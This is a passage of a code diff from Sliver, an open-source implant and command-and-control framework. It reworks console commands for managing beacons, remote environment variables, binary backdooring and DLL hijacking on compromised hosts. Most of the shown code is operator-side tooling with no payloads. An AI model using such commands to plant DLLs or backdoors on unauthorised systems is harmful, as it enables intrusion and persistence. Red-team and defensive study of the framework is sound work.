+		}
+		err = kill.KillBeacon(beacon, false, con)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.Println()
+		con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
+	}
+
+	if killAll {
+		beacons, err := GetBeacons(con)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		for _, beacon := range beacons.Beacons {
+			err = kill.KillBeacon(beacon, true, con)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
+			con.Println()
+			con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
+		}
+	}
+
+	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	PrintBeacons(beacons.Beacons, con)
+}
+
+// PrintBeacons - Display a list of beacons
+func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) {
+	if len(beacons) == 0 {
+		con.PrintInfof("No beacons 🙁\n")
+		return
+	}
+	tw := renderBeacons(beacons, con)
+	con.Printf("%s\n", tw.Render())
+}
+
+func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
+	width, _, err := term.GetSize(0)
+	if err != nil {
+		width = 999
+	}
+
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	if con.Settings.SmallTermWidth < width {
+		tw.AppendHeader(table.Row{
+			"ID",
+			"Name",
+			"Tasks",
+			"Transport",
+			"Remote Address",
+			"Hostname",
+			"Username",
+			"Operating System",
+			"Last Check-in",
+			"Next Check-in",
+		})
+	} else {
+		tw.AppendHeader(table.Row{
+			"ID",
+			"Name",
+			"Transport",
+			"Username",
+			"Operating System",
+			"Last Check-in",
+			"Next Check-in",
+		})
+	}
+
+	for _, beacon := range beacons {
+		color := console.Normal
+		activeBeacon := con.ActiveTarget.GetBeacon()
+		if activeBeacon != nil && activeBeacon.ID == beacon.ID {
+			color = console.Green
+		}
+
+		nextCheckin := time.Unix(beacon.NextCheckin, 0)
+		var next string
+		if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
+			past := time.Since(nextCheckin)
+			next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
+		} else {
+			eta := time.Until(nextCheckin)
+			next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
+		}
+		if con.Settings.SmallTermWidth < width {
+			tw.AppendRow(table.Row{
+				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
+				fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
+				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
+				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
+				fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
+				next,
+			})
+		} else {
+			tw.AppendRow(table.Row{
+				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
+				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
+				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
+				fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
+				next,
+			})
+		}
+	}
+	return tw
+}

client/command/beacons/helpers.go

@@ -0,0 +1,128 @@
+package beacons
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"context"
+	"errors"
+	"fmt"
+	"sort"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+)
+
+var (
+	// ErrNoBeacons - No sessions available
+	ErrNoBeacons = errors.New("no beacons")
+	// ErrNoSelection - No selection made
+	ErrNoSelection = errors.New("no selection")
+	// ErrBeaconNotFound
+	ErrBeaconNotFound = errors.New("no beacon found for this ID")
+)
+
+// SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions
+func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
+	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return nil, err
+	}
+	if len(beacons.Beacons) == 0 {
+		return nil, ErrNoBeacons
+	}
+
+	beaconsMap := map[string]*clientpb.Beacon{}
+	for _, beacon := range beacons.Beacons {
+		beaconsMap[beacon.ID] = beacon
+	}
+	keys := []string{}
+	for beaconID := range beaconsMap {
+		keys = append(keys, beaconID)
+	}
+	sort.Strings(keys)
+
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+
+	// Column Headers
+	for _, key := range keys {
+		beacon := beaconsMap[key]
+		fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
+			beacon.ID,
+			beacon.Name,
+			beacon.RemoteAddress,
+			beacon.Hostname,
+			beacon.Username,
+			fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
+		)
+	}
+	table.Flush()
+
+	options := strings.Split(outputBuf.String(), "\n")
+	options = options[:len(options)-1] // Remove the last empty option
+	prompt := &survey.Select{
+		Message: "Select a beacon:",
+		Options: options,
+	}
+	selected := ""
+	survey.AskOne(prompt, &selected)
+	if selected == "" {
+		return nil, ErrNoSelection
+	}
+
+	// Go from the selected option -> index -> session
+	for index, option := range options {
+		if option == selected {
+			return beaconsMap[keys[index]], nil
+		}
+	}
+	return nil, ErrNoSelection
+}
+
+func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Beacon, error) {
+	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return nil, err
+	}
+	if len(beacons.Beacons) == 0 {
+		return nil, ErrNoBeacons
+	}
+	for _, beacon := range beacons.Beacons {
+		if beacon.ID == beaconID {
+			return beacon, nil
+		}
+	}
+	return nil, ErrBeaconNotFound
+}
+
+func GetBeacons(con *console.SliverConsoleClient) (*clientpb.Beacons, error) {
+	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return nil, err
+	}
+	if len(beacons.Beacons) == 0 {
+		return nil, ErrNoBeacons
+	}
+	return beacons, nil
+}

client/command/beacons/prune.go

@@ -0,0 +1,85 @@
+package beacons
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"time"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+)
+
+// BeaconsPruneCmd - Prune stale beacons automatically
+func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	pruneDuration, err := time.ParseDuration(ctx.Flags.String("duration"))
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	con.PrintInfof("Pruning beacons that missed their last checking by %s or more...\n\n", pruneDuration)
+	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	pruneBeacons := []*clientpb.Beacon{}
+	for _, beacon := range beacons.Beacons {
+		nextCheckin := time.Unix(beacon.NextCheckin, 0)
+		if time.Now().Before(nextCheckin) {
+			continue
+		}
+		delta := time.Since(nextCheckin)
+		if pruneDuration <= delta {
+			pruneBeacons = append(pruneBeacons, beacon)
+		}
+	}
+	if len(pruneBeacons) == 0 {
+		con.PrintInfof("No beacons to prune.\n")
+		return
+	}
+	con.PrintWarnf("The following beacons and their tasks will be removed:\n")
+	for index, beacon := range pruneBeacons {
+		beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			continue
+		}
+		con.Printf("\t%d. %s (%s)\n", (index + 1), beacon.Name, beacon.ID)
+	}
+	con.Println()
+	confirm := false
+	prompt := &survey.Confirm{Message: "Prune these beacons?"}
+	survey.AskOne(prompt, &confirm)
+	if !confirm {
+		return
+	}
+	errCount := 0
+	for _, beacon := range pruneBeacons {
+		_, err := con.Rpc.RmBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			errCount++
+		}
+	}
+	con.PrintInfof("Pruned %d beacon(s)\n", len(pruneBeacons)-errCount)
+}

client/command/beacons/rm.go

@@ -0,0 +1,41 @@
+package beacons
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/desertbit/grumble"
+)
+
+// BeaconsRmCmd - Display/interact with beacons
+func BeaconsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	beacon, err := SelectBeacon(con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	_, err = con.Rpc.RmBeacon(context.Background(), beacon)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	con.PrintInfof("Beacon removed (%s)\n", beacon.ID)
+}

client/command/beacons/watch.go

@@ -0,0 +1,67 @@
+package beacons
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"strings"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+)
+
+// BeaconsWatchCmd - Watch your beacons in real-ish time
+func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	done := waitForInput()
+	defer func() {
+		con.Printf(console.UpN+console.Clearln+"\r", 1)
+		con.Printf(console.UpN+console.Clearln+"\r", 1)
+	}()
+	for {
+		select {
+		case <-done:
+			return
+		case <-time.After(time.Second):
+			beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+			if err != nil {
+				panic(err) // If we return we may leak the waiting goroutine, so we panic instead
+			}
+			tw := renderBeacons(beacons.Beacons, con)
+			lines := strings.Split(tw.Render(), "\n")
+			for _, line := range lines {
+				con.Printf(console.Clearln+"\r%s\n", line)
+			}
+			con.Printf("\nPress enter to stop.\n")
+			con.Printf(console.UpN+"\r", len(lines)+2)
+		}
+	}
+}
+
+func waitForInput() <-chan bool {
+	done := make(chan bool)
+	go func() {
+		defer close(done)
+		fmt.Scanf("\n")
+		done <- true
+	}()
+	return done
+}

client/command/binject.go

@@ -1,50 +0,0 @@
-package command
-
-import (
-	"context"
-	"fmt"
-
-	"github.com/bishopfox/sliver/client/spin"
-	"github.com/bishopfox/sliver/protobuf/rpcpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
-)
-
-func binject(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-	session := ActiveSession.Get()
-	if session == nil {
-		fmt.Println(Warn + "Please select an active session via `use`")
-		return
-	}
-
-	if len(ctx.Args) < 1 {
-		fmt.Println(Warn + "Please provide a remote file path. See `help backdoor` for more info")
-		return
-	}
-
-	profileName := ctx.Flags.String("profile")
-	remoteFilePath := ctx.Args[0]
-
-	ctrl := make(chan bool)
-	msg := fmt.Sprintf("Backdooring %s ...", remoteFilePath)
-	go spin.Until(msg, ctrl)
-	backdoor, err := rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
-		FilePath:    remoteFilePath,
-		ProfileName: profileName,
-		Request:     ActiveSession.Request(ctx),
-	})
-	ctrl <- true
-	<-ctrl
-	if err != nil {
-		fmt.Printf(Warn+"Error: %v", err)
-		return
-	}
-
-	if backdoor.Response != nil && backdoor.Response.Err != "" {
-		fmt.Printf(Warn+"Error: %s\n", backdoor.Response.Err)
-		return
-	}
-
-	fmt.Printf(Info+"Uploaded backdoored binary to %s\n", remoteFilePath)
-
-}

client/command/command.go

@@ -1,175 +0,0 @@
-package command
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"fmt"
-	"time"
-
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/bishopfox/sliver/protobuf/rpcpb"
-	"github.com/desertbit/grumble"
-
-	"gopkg.in/AlecAivazis/survey.v1"
-)
-
-const (
-	// ANSI Colors
-	normal    = "\033[0m"
-	black     = "\033[30m"
-	red       = "\033[31m"
-	green     = "\033[32m"
-	orange    = "\033[33m"
-	blue      = "\033[34m"
-	purple    = "\033[35m"
-	cyan      = "\033[36m"
-	gray      = "\033[37m"
-	bold      = "\033[1m"
-	clearln   = "\r\x1b[2K"
-	upN       = "\033[%dA"
-	downN     = "\033[%dB"
-	underline = "\033[4m"
-
-	// Info - Display colorful information
-	Info = bold + cyan + "[*] " + normal
-	// Warn - Warn a user
-	Warn = bold + red + "[!] " + normal
-	// Debug - Display debug information
-	Debug = bold + purple + "[-] " + normal
-	// Woot - Display success
-	Woot = bold + green + "[$] " + normal
-)
-
-var (
-
-	// ActiveSession - The current sliver we're interacting with
-	ActiveSession = &activeSession{
-		observers:  map[int]Observer{},
-		observerID: 0,
-	}
-
-	stdinReadTimeout = 10 * time.Millisecond
-)
-
-// Observer - A function to call when the sessions changes
-type Observer func(*clientpb.Session)
-
-type activeSession struct {
-	session    *clientpb.Session
-	observers  map[int]Observer
-	observerID int
-}
-
-// GetInteractive - GetInteractive the active session
-func (s *activeSession) GetInteractive() *clientpb.Session {
-	if s.session == nil {
-		fmt.Printf(Warn + "Please select an active session via `use`\n")
-		return nil
-	}
-	return s.session
-}
-
-// Get - Same as Get() but doesn't print a warning
-func (s *activeSession) Get() *clientpb.Session {
-	if s.session == nil {
-		return nil
-	}
-	return s.session
-}
-
-// AddObserver - Observers to notify when the active session changes
-func (s *activeSession) AddObserver(observer Observer) int {
-	s.observerID++
-	s.observers[s.observerID] = observer
-	return s.observerID
-}
-
-func (s *activeSession) RemoveObserver(observerID int) {
-	if _, ok := s.observers[observerID]; ok {
-		delete(s.observers, observerID)
-	}
-}
-
-func (s *activeSession) Request(ctx *grumble.Context) *commonpb.Request {
-	if s.session == nil {
-		return nil
-	}
-	timeout := int(time.Second) * ctx.Flags.Int("timeout")
-	return &commonpb.Request{
-		SessionID: s.session.ID,
-		Timeout:   int64(timeout),
-	}
-}
-
-// Set - Change the active session
-func (s *activeSession) Set(session *clientpb.Session) {
-	s.session = session
-	for _, observer := range s.observers {
-		observer(s.session)
-	}
-}
-
-// Background - Background the active session
-func (s *activeSession) Background() {
-	s.session = nil
-	for _, observer := range s.observers {
-		observer(nil)
-	}
-}
-
-// GetSession - Get session by session ID or name
-func GetSession(arg string, rpc rpcpb.SliverRPCClient) *clientpb.Session {
-	sessions, err := rpc.GetSessions(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		fmt.Printf(Warn+"%s\n", err)
-		return nil
-	}
-	for _, session := range sessions.GetSessions() {
-		if session.Name == arg || fmt.Sprintf("%d", session.ID) == arg {
-			return session
-		}
-	}
-	return nil
-}
-
-// GetSessionsByName - Return all sessions for an Implant by name
-func GetSessionsByName(name string, rpc rpcpb.SliverRPCClient) []*clientpb.Session {
-	sessions, err := rpc.GetSessions(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		fmt.Printf(Warn+"%s\n", err)
-		return nil
-	}
-	matched := []*clientpb.Session{}
-	for _, session := range sessions.GetSessions() {
-		if session.Name == name {
-			matched = append(matched, session)
-		}
-	}
-	return matched
-}
-
-// This should be called for any dangerous (OPSEC-wise) functions
-func isUserAnAdult() bool {
-	confirm := false
-	prompt := &survey.Confirm{Message: "This action is bad OPSEC, are you an adult?"}
-	survey.AskOne(prompt, &confirm, nil)
-	return confirm
-}

client/command/completers/README.md

@@ -0,0 +1,4 @@
+Completers
+===========
+
+This package contains general purpose completers for the console, note that some package also contain their own package-specific completers. 

client/command/completers/completers.go

@@ -0,0 +1,63 @@
+package completers
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"io/ioutil"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/console"
+)
+
+// LocalPathCompleter - Completes a local file system path
+func LocalPathCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
+	var parent string
+	var partial string
+	fi, err := os.Stat(prefix)
+	if os.IsNotExist(err) {
+		parent = filepath.Dir(prefix)
+		partial = filepath.Base(prefix)
+	} else {
+		if fi.IsDir() {
+			parent = prefix
+			partial = ""
+		} else {
+			parent = filepath.Dir(prefix)
+			partial = filepath.Base(prefix)
+		}
+	}
+
+	results := []string{}
+	ls, err := ioutil.ReadDir(parent)
+	if err != nil {
+		return results
+	}
+	for _, fi = range ls {
+		if 0 < len(partial) {
+			if strings.HasPrefix(fi.Name(), partial) {
+				results = append(results, filepath.Join(parent, fi.Name()))
+			}
+		} else {
+			results = append(results, filepath.Join(parent, fi.Name()))
+		}
+	}
+	return results
+}

client/command/dllhijack/README.md

@@ -0,0 +1,4 @@
+DLL Hijack
+===========
+
+Implements command related to `dllhijack`.

client/command/dllhijack/dllhijack.go

@@ -0,0 +1,97 @@
+package dllhijack
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"io/ioutil"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+// dllhijack --ref-path c:\windows\system32\msasn1.dll --file /tmp/runner.dll TARGET_PATH
+// dllhijack --ref-path c:\windows\system32\msasn1.dll --profile dll  TARGET_PATH
+// dllhijack --ref-path c:\windows\system32\msasn1.dll --ref-file /tmp/ref.dll --profile dll  TARGET_PATH
+
+// DllHijackCmd -- implements the dllhijack command
+func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var (
+		localRefData  []byte
+		targetDLLData []byte
+		err           error
+	)
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	targetPath := ctx.Args.String("target-path")
+	referencePath := ctx.Flags.String("reference-path")
+	localFile := ctx.Flags.String("file")
+	profileName := ctx.Flags.String("profile")
+	localReferenceFilePath := ctx.Flags.String("reference-file")
+
+	if referencePath == "" {
+		con.PrintErrorf("Please provide a path to the reference DLL on the target system\n")
+		return
+	}
+
+	if localReferenceFilePath != "" {
+		localRefData, err = ioutil.ReadFile(localReferenceFilePath)
+		if err != nil {
+			con.PrintErrorf("Could not load the reference file from the client: %s\n", err)
+			return
+		}
+	}
+
+	if localFile != "" {
+		if profileName != "" {
+			con.PrintErrorf("please use either --profile or --File")
+			return
+		}
+		targetDLLData, err = ioutil.ReadFile(localFile)
+		if err != nil {
+			con.PrintErrorf("Error: %s\n", err)
+			return
+		}
+	}
+
+	ctrl := make(chan bool)
+	msg := fmt.Sprintf("Crafting and planting DLL at %s ...", targetPath)
+	con.SpinUntil(msg, ctrl)
+	_, err = con.Rpc.HijackDLL(context.Background(), &clientpb.DllHijackReq{
+		ReferenceDLLPath: referencePath,
+		TargetLocation:   targetPath,
+		ReferenceDLL:     localRefData,
+		TargetDLL:        targetDLLData,
+		Request:          con.ActiveTarget.Request(ctx),
+		ProfileName:      profileName,
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("Error: %s\n", err)
+		return
+	}
+
+	con.PrintInfof("DLL uploaded to %s\n", targetPath)
+}

client/command/env.go

@@ -1,69 +0,0 @@
-package command
-
-import (
-	"context"
-	"fmt"
-
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/bishopfox/sliver/protobuf/rpcpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
-)
-
-func getEnv(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-	session := ActiveSession.Get()
-	if session == nil {
-		return
-	}
-
-	var name string
-	if len(ctx.Args) > 0 {
-		name = ctx.Args[0]
-	}
-
-	envInfo, err := rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
-		Name:    name,
-		Request: ActiveSession.Request(ctx),
-	})
-
-	if err != nil {
-		fmt.Printf(Warn+"Error: %v", err)
-		return
-	}
-
-	for _, envVar := range envInfo.Variables {
-		fmt.Printf("%s=%s\n", envVar.Key, envVar.Value)
-	}
-}
-
-func setEnv(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-	session := ActiveSession.Get()
-	if session == nil {
-		return
-	}
-
-	if len(ctx.Args) != 2 {
-		fmt.Printf(Warn + "Usage: setenv KEY VALUE\n")
-		return
-	}
-
-	name := ctx.Args[0]
-	value := ctx.Args[1]
-
-	envInfo, err := rpc.SetEnv(context.Background(), &sliverpb.SetEnvReq{
-		Variable: &commonpb.EnvVar{
-			Key:   name,
-			Value: value,
-		},
-		Request: ActiveSession.Request(ctx),
-	})
-	if err != nil {
-		fmt.Printf(Warn+"Error: %v", err)
-		return
-	}
-	if envInfo.Response != nil && envInfo.Response.Err != "" {
-		fmt.Printf(Warn+"Error: %s", envInfo.Response.Err)
-		return
-	}
-	fmt.Printf(Info+"set %s to %s\n", name, value)
-}

client/command/environment/README.md

@@ -0,0 +1,4 @@
+Environment
+===========
+
+Contains command implementations for manipulating remote environment variables.

client/command/environment/get.go

@@ -0,0 +1,71 @@
+package environment
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
+)
+
+// EnvGetCmd - Get a remote environment variable
+func EnvGetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	name := ctx.Args.String("name")
+	envInfo, err := con.Rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
+		Name:    name,
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if envInfo.Response != nil && envInfo.Response.Async {
+		con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, envInfo)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintGetEnvInfo(envInfo, con)
+		})
+		con.PrintAsyncResponse(envInfo.Response)
+	} else {
+		PrintGetEnvInfo(envInfo, con)
+	}
+}
+
+// PrintGetEnvInfo - Print the results of the env get command
+func PrintGetEnvInfo(envInfo *sliverpb.EnvInfo, con *console.SliverConsoleClient) {
+	if envInfo.Response != nil && envInfo.Response.Err != "" {
+		con.PrintErrorf("%s\n", envInfo.Response.Err)
+		return
+	}
+	for _, envVar := range envInfo.Variables {
+		con.Printf("%s=%s\n", envVar.Key, envVar.Value)
+	}
+}

client/command/environment/set.go

@@ -0,0 +1,80 @@
+package environment
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
+)
+
+// EnvSetCmd - Set a remote environment variable
+func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	name := ctx.Args.String("name")
+	value := ctx.Args.String("value")
+	if name == "" || value == "" {
+		con.PrintErrorf("Usage: setenv KEY VALUE\n")
+		return
+	}
+
+	envInfo, err := con.Rpc.SetEnv(context.Background(), &sliverpb.SetEnvReq{
+		Variable: &commonpb.EnvVar{
+			Key:   name,
+			Value: value,
+		},
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if envInfo.Response != nil && envInfo.Response.Async {
+		con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, envInfo)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintSetEnvInfo(name, value, envInfo, con)
+		})
+		con.PrintAsyncResponse(envInfo.Response)
+	} else {
+		PrintSetEnvInfo(name, value, envInfo, con)
+	}
+
+}
+
